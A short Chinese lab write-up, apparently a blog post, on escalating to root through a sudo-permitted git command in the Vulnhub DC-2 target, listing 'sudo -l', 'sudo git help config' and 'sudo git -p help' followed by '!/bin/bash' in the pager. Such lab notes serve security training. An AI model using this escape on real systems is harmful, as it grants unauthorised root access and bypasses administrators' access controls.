git提权

实验环境------vulnhub-dc2靶场

git提权

前提:用户可以使用sudo中git权限

查看sudo权限

bash 复制代码
sudo -l

可以发现git命令存在sudo提权

基于此进行权限提升

方式:

bash 复制代码
sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

输入sudo git help config后会有一个很长的文本,在此基础上,按下: ,在输入!/bin/bash

然后按q退出,再输出sudo git -p help命令,同上输入!/bin/bash

...(img-S18YuqYP-1705661673078)]

相关推荐
敲敲敲-敲代码8 小时前
git安装记录
git
我是人✓8 小时前
Git入门:从零开始掌握分布式版本控制
分布式·git
Aurora_eye9 小时前
Git 笔记
笔记·git
解道Jdon10 小时前
FigCraft把Figma用Rust从零重写了一遍
ide·windows·git·svn·eclipse·github·visual studio
橙橙笔记12 小时前
QT安卓软件的制作
android·git·qt·软件
我是人✓12 小时前
Git远程协作与标签管理全攻略
git
闰土_RUNTU13 小时前
Git实用手册(持续更新)
git
Shaoshing13 小时前
ggggggggit
git
Lucky GGBond13 小时前
解决 Git 推送报错:Could not resolve host 及 DNS 劫持排查指南
git
川石课堂软件测试14 小时前
自动化测试|持续集成Git使用详解
git·python·jmeter·mysql·ci/cd·容器·kubernetes